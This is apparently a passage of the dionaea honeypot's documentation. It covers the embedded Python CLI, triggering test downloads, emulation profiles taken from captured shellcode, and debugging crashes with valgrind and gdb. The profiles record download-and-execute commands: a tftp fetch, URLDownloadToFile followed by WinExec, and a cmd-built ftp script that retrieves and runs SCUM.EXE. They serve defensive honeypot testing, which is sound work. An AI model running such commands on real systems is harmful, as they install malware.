dionaea embedds a python interpreter, and can offer a python cli
therefore too.
*The python cli is blocking*, if you start entering a command, the whole
process will wait for you to finish it, and not accept any new connections.
You can use the python cli to interact with dionaea, which is very
useful for development and debugging.


You can access the dionaea.conf via python (readonly)

from dionaea import g_dionaea

      Completition and History on the CLI

If you use the cli often, you can make it behave like a real shell,
including history and completition.

import rlcompleter, readline
readline.parse_and_bind('tab: complete')

      Triggering Downloads

Sometimes it helps to trigger a download, without waiting for an attack.
Very useful if you want to verify permissions are correct when switching
the user, or making sure a submission to a 3rd party works correctly.
You can trigger downloads for all major protocols.


from dionaea.ftp import ftp
f = ftp(), 'anonymous','guest','',21, 'welcome.msg', 'binary','')


from dionaea.tftp import TftpClient
t = TftpClient(), '', 69, 'filename')


As the http download is not done in python, we do not use the download
facility directly, but create an incident, which will trigger the download

from dionaea.core import incident
i = incident("")
i.set("url", "")


incidents are the ipc used in dionaea.


from dionaea.core import ihandler
class idumper(ihandler):
        def __init__(self, pattern):
                ihandler.__init__(self, pattern)
        def handle(self, icd):

a = idumper('*')

        emu profile

Small collection of various shellcode profiles gatherd from dionaea.

          CreateProcess Commands

This profile will trigger a download via tftp.

p='[{"call": "CreateProcess", "args": ["", "tftp.exe -i get ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "CreateProcess", "args": ["", "ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))


This profile will trigger a download.

p='[{"call": "LoadLibraryA", "args": ["urlmon"], "return": "0x7df20000"}, {"call": "URLDownloadToFile", "args": ["", "", "47.scr", "0", "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))

          WinExec Commands

This profile uses WinExec to create a command file for windows ftp
client, downloads a file, and executes the file.

p='[{"call": "WinExec", "args": ["cmd /c echo open 21 > i&echo user wat l0l1 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\\r\\n", "0"], "return": "32"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))


In case you experience a segfault, you will see something like this:

This is the end.
This software just had a segmentation fault.
The bug you encountered may even be exploitable.
If you want to assist in fixing the bug, please send the backtrace below to
You can create better backtraces with gdb, for more information visit
Once you read this message, your tty may be broken, simply type reset, so it will come to life again


While the backtrace itself gives an idea what might be wrong, it does
not fix the problem. To fix the problem, the logfiles usually help, as
dionaea is very verbose by default. Below are some hints how to get
started with debugging, click here <#support> for assistance.



Valgrind does a great job, here is how I use it:

valgrind -v --leak-check=full --leak-resolution=high --show-reachable=yes \
--log-file=dionaea-debug.log /opt/dionaea/bin/dionaea --my-dionaea-options


          logfile assisted

For the above example, I was able to scrape the shellcode from the
logfile, and run it in libemu, without involving dionaea at all,
reducing the problem.

gdb /opt/dionaea/bin/sctest
(gdb) run -S -s 10000000 -g < sc.bin
Starting program: /media/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin

Once it crashed, I retrieved a full backtrace:

Program received signal SIGSEGV, Segmentation fault.
env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545
545                             struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;

(gdb) bt full
#0  env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545
        dll = 0x6366f0
        ehi = <value optimized out>
        hook = <value optimized out>
        c = 0x611180
        mem = <value optimized out>
        eip_save = <value optimized out>
        module = 2088763392
        p_procname = 4289925
        procname = <value optimized out>
#1  0x00007ffff7b884fb in emu_env_w32_eip_check (env=0x629a30) at environment/win32/emu_env_w32.c:306
        dll = <value optimized out>
        ehi = <value optimized out>
        hook = 0x64c5b0
        eip = <value optimized out>
#2  0x0000000000403995 in test (e=0x60f0e0) at sctestmain.c:277
        hook = 0xe2
        ev = 0x0
        iv = <value optimized out>
        cpu = 0x611180
        mem = <value optimized out>
        env = 0x629a30
        na = <value optimized out>
        j = 7169
        last_vertex = 0x0
        graph = 0x0
        eh = 0x0
        ehi = 0x0
        ret = <value optimized out>
        eipsave = 2088807840
#3  0x00000000004044e4 in main (argc=5, argv=0x7fffffffe388) at sctestmain.c:971
        e = <value optimized out>

In this case, the problem was a bug in libemu.

          gdb dump memory

Once again, it broke, and we got a backtrace:

#0  0xb70b0b57 in emu_queue_enqueue (eq=0xb3da0918, data=0x4724ab) at emu_queue.c:63
        eqi = (struct emu_queue_item *) 0x0
#1  0xb70b15d1 in emu_shellcode_run_and_track (e=0xb4109cd0, data=0xb411c698 "", datasize=<value optimized out>, eipoffset=<value optimized out>, 
    steps=256, etas=0xb410cd60, known_positions=0xb3d7a810, stats_tested_positions_list=0xb3da3bf0, brute_force=true) at emu_shellcode.c:408
        current_pos_ti_diff = (struct emu_tracking_info *) 0x88c3c88
        current_pos_ht = <value optimized out>
        current_pos_v = <value optimized out>
        current_pos_satii = (struct emu_source_and_track_instr_info *) 0xb407e7f8
        bfs_queue = (struct emu_queue *) 0xb3e17668
        ret = 4662443
        eipsave = <value optimized out>
        hook = <value optimized out>
        j = 4
        es = <value optimized out>
        eli = (struct emu_list_item *) 0xb3e17658
        cpu = (struct emu_cpu *) 0xb4109ab0
        mem = (struct emu_memory *) 0xb410c3a0
        eq = (struct emu_queue *) 0xb3da0918
        env = (struct emu_env *) 0xb3e10208
        eli = (struct emu_list_item *) 0x4724ab
#2  0xb70b1a2a in emu_shellcode_test (e=0xb4109cd0, data=0xb411c698 "", size=<value optimized out>) at emu_shellcode.c:546
        es = (struct emu_stats *) 0xb3d92b28
        new_results = (struct emu_list_root *) 0xb3da3bf0
        offset = <value optimized out>
        el = (struct emu_list_root *) 0xb4100510
        etas = (struct emu_track_and_source *) 0xb410cd60
        eh = (struct emu_hashtable *) 0xb3d7a810
        eli = (struct emu_list_item *) 0xb3d92b40
        results = (struct emu_list_root *) 0xb3d82850
        es = <value optimized out>
        __PRETTY_FUNCTION__ = "emu_shellcode_test"
#3  0xb712140c in proc_emu_on_io_in (con=0x8864b58, pd=0x87dc388) at detect.c:145
        e = (struct emu *) 0xb4109cd0
        ctx = (struct emu_ctx *) 0x87a2400
        offset = 14356
        streamdata = (void *) 0xb411c698
        size = 8196
        ret = 0
        __PRETTY_FUNCTION__ = "proc_emu_on_io_in"
#4  0x0805e8be in recurse_io_process (pd=0x87dc388, con=0x8864b58, dir=bistream_in) at processor.c:167
No locals.
#5  0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at processor.c:197
        con = (struct connection *) 0x8864b58
        pd = (struct processor_data *) 0x87dc388
        __PRETTY_FUNCTION__ = "processors_io_in_thread"
#6  0x0805d2da in threadpool_wrapper (data=0x87d7bd0, user_data=0x0) at threads.c:49
        t = (struct thread *) 0x87d7bd0
        timer = (GTimer *) 0xb4108540
#7  0xb77441f6 in g_thread_pool_thread_proxy (data=0x83db460) at gthreadpool.c:265
        task = (gpointer) 0x87d7bd0
        pool = (GRealThreadPool *) 0x83db460
#8  0xb7742b8f in g_thread_create_proxy (data=0x83dc7d0) at gthread.c:635
        __PRETTY_FUNCTION__ = "g_thread_create_proxy"
#9  0xb76744c0 in start_thread () from /lib/i686/cmov/
No symbol table info available.
#10 0xb75f36de in clone () from /lib/i686/cmov/
No symbol table info available.

Again, it was a bug in libemu, an unbreakable loop consuming all memory.
To reproduce, we have to dump the tested buffer, therefore we need the
buffers address and size. Luckily the size is noted in frame #2 as 8196
and and the data address is a parameter which got not optimized out for
frame #2.

dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c

Afterwards, debugging libemu by feeding the data into sctest is easy.

I've had fun with objgraph and gdb debugging reference count leaks in
python too, here <> is the

          gdb python3 embedded

Sometimes, there is something wrong with the python scripts, but gdb
does not provide any useful output:

bt full
#12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267
        stack_pointer = (PyObject **) 0x8259af0
        next_instr = (unsigned char *) 0x812fabf "m'"
        opcode = 100
        oparg = <value optimized out>
        why = 3071731824
        err = 1
        x = (PyObject *) 0xb7244aac
        v = <value optimized out>
        w = (PyObject *) 0xadb5e4dc
        u = (PyObject *) 0xb775ccb0
        freevars = (PyObject **) 0x8259af0
        retval = (PyObject *) 0x0
        tstate = (PyThreadState *) 0x809aab0
        co = (PyCodeObject *) 0xb717b800
        instr_ub = -1
        instr_lb = 0
        instr_prev = -1
        first_instr = (unsigned char *) 0x812f918 "t"
        names = (PyObject *) 0xb723f50c
        consts = (PyObject *) 0xb71c9f7c
        opcode_targets = {0xb765d202, 0xb765f60a, 0xb766133a, 0xb76612db, 0xb7661285, 0xb7661222, 0xb765d202, 0xb765d202, 0xb765d202, 0xb76611dd, 
  0xb766114b, 0xb76610b9, 0xb766100f, 0xb765d202, 0xb765d202, 0xb7660f7d, 0xb765d202, 0xb765d202, 0xb765d202, 0xb7660eb7, 0xb7660dfb, 0xb765d202, 
  0xb7660d30, 0xb7660c65, 0xb7660ba9, 0xb7660aed, 0xb7660a31, 0xb7660975, 0xb76608b9, 0xb76607fd, 0xb765d202 <repeats 24 times>, 0xb7660736, 0xb766066b, 
  0xb76605af, 0xb76604f3, 0xb765d202, 0xb7660437, 0xb766035d, 0xb76602ad, 0xb7661aba, 0xb76619fe, 0xb7661942, 0xb7661886, 0xb7661b76, 0xb76614a8, 
  0xb7661413, 0xb766138e, 0xb766171f, 0xb76616e6, 0xb765d202, 0xb765d202, 0xb765d202, 0xb766162a, 0xb766156e, 0xb76601f1, 0xb7660135, 0xb76617ca, 
  0xb7660120, 0xb765fff7, 0xb765d202, 0xb765fd72, 0xb765fc6e, 0xb765d202, 0xb765fc1d, 0xb765fe17, 0xb765fd90, 0xb765fec0, 0xb765fb41, 0xb765fadc, 
  0xb765f9ed, 0xb765f94d, 0xb765f8be, 0xb765f7e3, 0xb765f779, 0xb765f6bd, 0xb765f66c, 0xb765ef1d, 0xb765eea2, 0xb765ede1, 0xb765ed1a, 0xb765ec35, 
  0xb765ebc3, 0xb765eb30, 0xb765ea69, 0xb765f1c7, 0xb765f027, 0xb765f560, 0xb765efc1, 0xb76630e3, 0xb766310c, 0xb765e64c, 0xb765e592, 0xb765f49a, 
  0xb765f3de, 0xb765d202, 0xb765d202, 0xb765f39e, 0xb7663135, 0xb766315f, 0xb765e9cb, 0xb765d202, 0xb765e948, 0xb765e8bb, 0xb765e817, 0xb765d202, 
  0xb765d202, 0xb765d202, 0xb765d2ae, 0xb765e3e0, 0xb7663275, 0xb765e1a2, 0xb766324e, 0xb765e0ba, 0xb765e01e, 0xb765df74, 0xb765d202, 0xb765d202, 
  0xb7663189, 0xb76631d3, 0xb7663220, 0xb765e149, 0xb765d202, 0xb765de09, 0xb765dec0, 0xb765f2c0, 0xb765d202 <repeats 108 times>}
#13 0xb7664ac0 in PyEval_EvalCodeEx (co=0xb717b800, globals=0xb7160b54, locals=0x0, args=0x84babb8, argcount=9, kws=0x0, kwcount=0, defs=0xb719e978, 
    defcount=1, kwdefs=0x0, closure=0x0) at Python/ceval.c:3198
        f = (PyFrameObject *) 0x825998c
        retval = <value optimized out>
        freevars = (PyObject **) 0x8259af0
        tstate = (PyThreadState *) 0x809aab0
        x = <value optimized out>
        u = <value optimized out>

Luckily python3 ships with some gdb macros, which assist in dealing with
this mess. You can grab them over here
place them to ~/.gdbinit, where ~ is the homedirectory of the user
dionaea runs as.
If you get /*warning: not using untrusted file "/home/user/.gdbinit"*/
you are running gdb via sudo, and the file /home/user/.gdbinit has to be
owned by root.
If you are running as root, and you get /*Program received signal
SIGTTOU, Stopped (tty output).*/, run stty -nostop before running gdb,
reattach the process with fg, close gdb properly, and start over.

Once you got the macros loaded properly at gdb startup, set a breakpoint
on PyEval_EvalFrameEx after dionaea loaded everything:

break PyEval_EvalFrameEx

Then we have some useful macros for gdb:


pyframev combines the output of pyframe and pylocals.

Be aware you can segfault dionaea now from within gdb, going up, out of
the python call stack and calling some of the macros can and in most
cases will segfault dionaea, therefore use backtrace to make sure you
are still within valid frames.
We can't use pystack or pystackv as they rely on Py_Main, which is an
invalid assumption for embedded python.

    Cui honorem, honorem

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